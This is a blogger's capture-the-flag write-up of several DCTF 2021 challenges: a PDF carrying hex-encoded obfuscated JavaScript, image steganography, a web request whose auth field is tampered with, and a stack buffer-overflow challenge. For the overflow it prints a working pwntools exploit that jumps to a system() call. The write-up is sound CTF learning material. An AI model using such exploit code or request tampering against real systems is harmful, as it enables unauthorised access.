DCTF 2021
DCTF 2021 was a Capture The Flag (CTF) competition held from Friday, May 14 to Sunday, May 16 2021 by DragonSec SI. This was a busy weekend for me, so I only solved a handful of challenges. You can read them all or jump to a specific challenge.
Table of Contents
Dont let it run
PDF documents can contain unusual objects within.
We are given a PDF file named dragon.pdf.
As with most challenges, I start by running strings
. The command output below
is truncated to only include the most relevant information:
$ strings dragon.pdf
...truncated...
/S /JavaScript
/JS <766172205F3078346163393D5B2736363361435968594B272C273971776147474F272C276C6F67272C273150744366746D272C27313036387552596D7154272C27646374667B7064665F316E6A33637433647D272C273736383537376A6868736272272C2737313733343268417A4F4F51272C27373232353133504158436268272C2738333339383950514B697469272C27313434373836335256636E546F272C2731323533353356746B585547275D3B2866756E6374696F6E285F30783362316636622C5F3078316164386237297B766172205F30783536366565323D5F3078353334373B7768696C652821215B5D297B7472797B766172205F30783237353061353D7061727365496E74285F307835363665653228307831366529292B2D7061727365496E74285F307835363665653228307831366429292B7061727365496E74285F307835363665653228307831366329292B2D7061727365496E74285F307835363665653228307831373329292A2D7061727365496E74285F307835363665653228307831373129292B7061727365496E74285F307835363665653228307831373229292A2D7061727365496E74285F307835363665653228307831366129292B7061727365496E74285F307835363665653228307831366629292A7061727365496E74285F307835363665653228307831373529292B2D7061727365496E74285F307835363665653228307831373029293B6966285F30783237353061353D3D3D5F307831616438623729627265616B3B656C7365205F30783362316636625B2770757368275D285F30783362316636625B277368696674275D2829293B7D6361746368285F3078353736346134297B5F30783362316636625B2770757368275D285F30783362316636625B277368696674275D2829293B7D7D7D285F3078346163392C3078386439376629293B66756E6374696F6E205F30786128297B766172205F30783363366432303D5F3078353334373B636F6E736F6C655B5F3078336336643230283078313734295D285F307833633664323028307831366229293B7D76617220613D27626B706F646E746A636F7073796D6C78656977686F6E7374796B787372707A79272C623D2765787262737071717573746E7A717269756C697A70656565787771736F666D77273B5F30786228612C62293B66756E6374696F6E205F307835333437285F30783337646533352C5F3078313961633236297B5F30783337646533353D5F30783337646533352D30783136613B766172205F30783461633965613D5F3078346163395B5F30783337646533355D3B72657475726E205F30783461633965613B7D66756E6374696F6E205F307862285F30783339623365652C5F3078666165353433297B766172205F30783235393932333D5F30783339623365652B5F30786661653534333B5F30786128293B7D0A>
...truncated...
Lots of hex! The label immediately above the hex tells us this is encoded
JavaScript. I placed the hex in a file named “hex” and ran xxd
on it to decode
it:
$ xxd -r -p hex > obfuscated.js
$ cat obfuscated.js
var _0x4ac9=['663aCYhYK','9qwaGGO','log','1PtCftm','1068uRYmqT','dctf{pdf_1nj3ct3d}','768577jhhsbr','717342hAzOOQ','722513PAXCbh','833989PQKiti','1447863RVcnTo','125353VtkXUG'];(function(_0x3b1f6b,_0x1ad8b7){var _0x566ee2=_0x5347;while(!![]){try{var _0x2750a5=parseInt(_0x566ee2(0x16e))+-parseInt(_0x566ee2(0x16d))+parseInt(_0x566ee2(0x16c))+-parseInt(_0x566ee2(0x173))*-parseInt(_0x566ee2(0x171))+parseInt(_0x566ee2(0x172))*-parseInt(_0x566ee2(0x16a))+parseInt(_0x566ee2(0x16f))*parseInt(_0x566ee2(0x175))+-parseInt(_0x566ee2(0x170));if(_0x2750a5===_0x1ad8b7)break;else _0x3b1f6b['push'](_0x3b1f6b['shift']());}catch(_0x5764a4){_0x3b1f6b['push'](_0x3b1f6b['shift']());}}}(_0x4ac9,0x8d97f));function _0xa(){var _0x3c6d20=_0x5347;console[_0x3c6d20(0x174)](_0x3c6d20(0x16b));}var a='bkpodntjcopsymlxeiwhonstykxsrpzy',b='exrbspqqustnzqriulizpeeexwqsofmw';_0xb(a,b);function _0x5347(_0x37de35,_0x19ac26){_0x37de35=_0x37de35-0x16a;var _0x4ac9ea=_0x4ac9[_0x37de35];return _0x4ac9ea;}function _0xb(_0x39b3ee,_0xfae543){var _0x259923=_0x39b3ee+_0xfae543;_0xa();}
Yuck, obfuscated JavaScript! Thankfully, we do not need to deobfuscate any of it.
The flag is visible within the _0x4ac9
list variable.
Flag: dctf{pdf_1nj3ct3d}
Leak spin
The flag is on the DragonSec SI GitHub account. It can be found in the DCTF1-chall-leak-spin repo.
Flag: dctf{I_L1k3_L1evaAn_P0lkk4}
Dragon
We are given a dragon.png image file.
I went down a long rabbithole searching for the flag in the binary data with tools like strings
, binwalk
,
exiftool
, and dd
. In the end, none of those tools worked for me.
The flag can be found by opening the PNG in an image editor like GIMP or a tool
like stegsolve
. I used the latter (because I’ve never used stegsolve
and
wanted experience with it).
Open dragon.png and filter to show only grey bits. In stegsolve
, simply click
the bottom arrow until you can see the flag below:
Flag: dctf{N0w_Y0u_s3e_m3}
Hidden Message
We are given a PNG file called fri.png. I did the usual process of running
strings
, exiftool
, and binwalk
. The solution was to decode the image on
Steganography Online.
Flag: dctf{sTeg0noGr4Phy_101}
Simple Web
Check the “I want flag!” box and press submit. We get a “Not authorized” page. Examine the developer tools and look at the request box:
The “auth” field is set to 0. Right-click to edit and resend the request with auth set to 1.
Double-click the new request to be redirected to the win page!
Flag: dctf{w3b_c4n_b3_fun_r1ght?}
Pwn Sanity Check
Pwn sanity check
Start by running the binary:
$ ./pwn_sanity_check
tell me a joke
knock knock
will this work?
It reads our entered data of “knock knock”, prints “will this work?” and then exits. Since it reads user supplied data, perhaps we can force a buffer overflow?
$ python -c "print 'A' * 100" | ./pwn_sanity_check
tell me a joke
will this work?
zsh: done python -c "print 'A' * 100" |
zsh: segmentation fault ./pwn_sanity_check
Sweet! Now that we know the code is vulnerable to a buffer overflow, let’s
examine it in gdb
to find what return address to set the instruction pointer
(rip) to.
$ gdb -q ./pwn_sanity_check
Now enter disass <tab><tab>
(tab key twice) to view all the functions (output
truncated to show only relevant functions):
(gdb) disass <tab><tab>
...truncated...
main vuln win system shell
...truncated...
First, check main:
(gdb) disass main
Dump of assembler code for function main:
0x000000000040078c <+0>: push rbp
0x000000000040078d <+1>: mov rbp,rsp
0x0000000000400790 <+4>: mov edi,0xa
0x0000000000400795 <+9>: mov eax,0x0
0x000000000040079a <+14>: call 0x400580 <alarm@plt>
0x000000000040079f <+19>: mov eax,0x0
0x00000000004007a4 <+24>: call 0x400730 <vuln>
0x00000000004007a9 <+29>: mov eax,0x0
0x00000000004007ae <+34>: pop rbp
0x00000000004007af <+35>: ret
It sets an alarm that exits the program in 10 (0xa) seconds and calls the vuln function.
(Tip: to give yourself more time when debugging you can increase the alarm time by entering:)
(gdb) set $edi=0xffff
Now the vuln function:
(gdb) disass vuln
Dump of assembler code for function vuln:
0x0000000000400730 <+0>: push rbp
0x0000000000400731 <+1>: mov rbp,rsp
0x0000000000400734 <+4>: sub rsp,0x40
0x0000000000400738 <+8>: lea rdi,[rip+0x1d1] # 0x400910
0x000000000040073f <+15>: call 0x400550 <puts@plt>
0x0000000000400744 <+20>: mov rdx,QWORD PTR [rip+0x200915] # 0x601060 <stdin@@GLIBC_2.2.5>
0x000000000040074b <+27>: lea rax,[rbp-0x40]
0x000000000040074f <+31>: mov esi,0x100
0x0000000000400754 <+36>: mov rdi,rax
0x0000000000400757 <+39>: call 0x400590 <fgets@plt>
0x000000000040075c <+44>: cmp DWORD PTR [rbp-0x4],0xdeadc0de
0x0000000000400763 <+51>: jne 0x40077d <vuln+77>
0x0000000000400765 <+53>: lea rdi,[rip+0x1b4] # 0x400920
0x000000000040076c <+60>: call 0x400550 <puts@plt>
0x0000000000400771 <+65>: mov eax,0x0
0x0000000000400776 <+70>: call 0x4006f4 <shell>
0x000000000040077b <+75>: jmp 0x400789 <vuln+89>
0x000000000040077d <+77>: lea rdi,[rip+0x1c1] # 0x400945
0x0000000000400784 <+84>: call 0x400550 <puts@plt>
0x0000000000400789 <+89>: nop
0x000000000040078a <+90>: leave
0x000000000040078b <+91>: ret
On line <+27> we see that 64 bytes (0x40) of stack space are being allocated for our input buffer. So we can cause a buffer overflow with 72 bytes of data (64 for input buffer + 8 for base pointer).
But where do we set the instruction pointer to return to? Let’s check out that win function we say earlier.
(gdb) disass win
Dump of assembler code for function win:
0x0000000000400697 <+0>: push rbp
0x0000000000400698 <+1>: mov rbp,rsp
0x000000000040069b <+4>: sub rsp,0x10
0x000000000040069f <+8>: mov DWORD PTR [rbp-0x4],edi
0x00000000004006a2 <+11>: mov DWORD PTR [rbp-0x8],esi
0x00000000004006a5 <+14>: lea rdi,[rip+0x18c] # 0x400838
0x00000000004006ac <+21>: call 0x400550 <puts@plt>
0x00000000004006b1 <+26>: cmp DWORD PTR [rbp-0x4],0xdeadbeef
0x00000000004006b8 <+33>: jne 0x4006f1 <win+90>
0x00000000004006ba <+35>: lea rdi,[rip+0x1b7] # 0x400878
0x00000000004006c1 <+42>: call 0x400550 <puts@plt>
0x00000000004006c6 <+47>: cmp DWORD PTR [rbp-0x8],0x1337c0de
0x00000000004006cd <+54>: jne 0x4006f1 <win+90>
0x00000000004006cf <+56>: lea rdi,[rip+0x1b7] # 0x40088d
0x00000000004006d6 <+63>: call 0x400550 <puts@plt>
0x00000000004006db <+68>: lea rdi,[rip+0x1bc] # 0x40089e
0x00000000004006e2 <+75>: call 0x400560 <system@plt>
0x00000000004006e7 <+80>: mov edi,0x0
0x00000000004006ec <+85>: call 0x4005a0 <exit@plt>
0x00000000004006f1 <+90>: nop
0x00000000004006f2 <+91>: leave
0x00000000004006f3 <+92>: ret
We could return to the starting address of win (0x400697), but then we would have to pass the comparison checks on lines <+26> and <+47>. We can save ourselves the headache by jumping closer to the system call. I chose address 0x4006cf.
Here is my exploit solution, written with Python:
#!/usr/bin/env python3
from pwn import *
LOCAL=True
binary = "./pwn_sanity_check"
context.binary = binary
if LOCAL:
p = process(binary)
else:
p = remote("dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io", 7480)
# Overflow buffer
payload = b"A" * 72 # 60 bytes for buffer, 4 for local integer, and 8 for rbp
payload += p64(0x4006cf) # bypass parameter checks in win() function
p.readuntil("tell me a joke\n")
p.sendline(payload)
p.interactive()
Note: I solved this challenge offline after the CTF ended, so no flag for me.
Conclusion
Overall, I had a lot of fun playing DCTF 2021. The team at DragonSec SI did a great job organizing this competition. I’ll be on the lookout for DCTF 2022 :)